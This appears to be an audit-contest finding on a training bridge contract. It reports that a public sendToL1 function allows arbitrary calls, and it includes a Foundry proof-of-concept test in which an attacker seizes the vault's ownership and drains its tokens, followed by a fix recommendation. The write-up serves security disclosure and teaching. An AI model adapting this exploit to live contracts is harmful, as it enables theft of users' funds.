Beginner FriendlyFoundryBridge
100 EXP
View results
Submission Details
Severity: high
Valid

Malicious Strategist Can Claim Vault Ownership And Drain It

Summary

The function sendToL1 in L1BossBridge is declared as public and can take arbitrary values allowing a malicious strategist to break the protocol.

Vulnerability Details

sendToL1 performs a low-level call with arbitrary target and calldata, a hacker can prepare a payload to instruct the bridge to call the vault contract and instruct it to transfer ownership to the hacker. After claiming ownership the hacker can execute approveTo in the vault contract to gain control over the entire balance and drain it.

Proof Of Concept

The follow code snippet shows the attack.

POC
function testSecurityReview__HackerClaimsVaultOwnershipAndBalance() public {
Account memory hacker = makeAccount("hacker");
uint256 amount = bridge.DEPOSIT_LIMIT();
// assume vault holds `DEPOSIT_LIMIT` amount of tokens
deal(address(token), address(vault), amount);
// assert vault current owner
assertEq(vault.owner(), deployer);
// prepare tx message
bytes memory data = abi.encode(address(vault), 0, abi.encodeCall(Ownable.transferOwnership, (hacker.addr)));
// operator sign message
(uint8 v, bytes32 r, bytes32 s) =
vm.sign(operator.key, MessageHashUtils.toEthSignedMessageHash(keccak256(data)));
vm.startPrank(hacker.addr, hacker.addr);
// execute attack
bridge.sendToL1(v, r, s, data);
// assert hacker owns vault
assertEq(vault.owner(), hacker.addr);
// hacker gets control over vault entire balance
vault.approveTo(hacker.addr, amount);
assertEq(token.allowance(address(vault), hacker.addr), amount);
// drain vault
token.transferFrom(address(vault), hacker.addr, token.balanceOf(address(vault)));
// assert hacker got the entire balance
assertEq(token.balanceOf(hacker.addr), amount);
// assert vault is drained
assertEq(token.balanceOf(address(vault)), 0);
}

Impact

Vault compromised and drained. Protocol broken.

Tools Used

VS Code and Foundry.

Recommendations

Add an access control check in sendToL1 to only allow the owner of the bridge to handle the function.

Updates

Lead Judging Commences

0xnevi Lead Judge almost 2 years ago
Submission Judgement Published
Validated
Assigned finding tags:

sendToL1(): Wrong function visibility

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.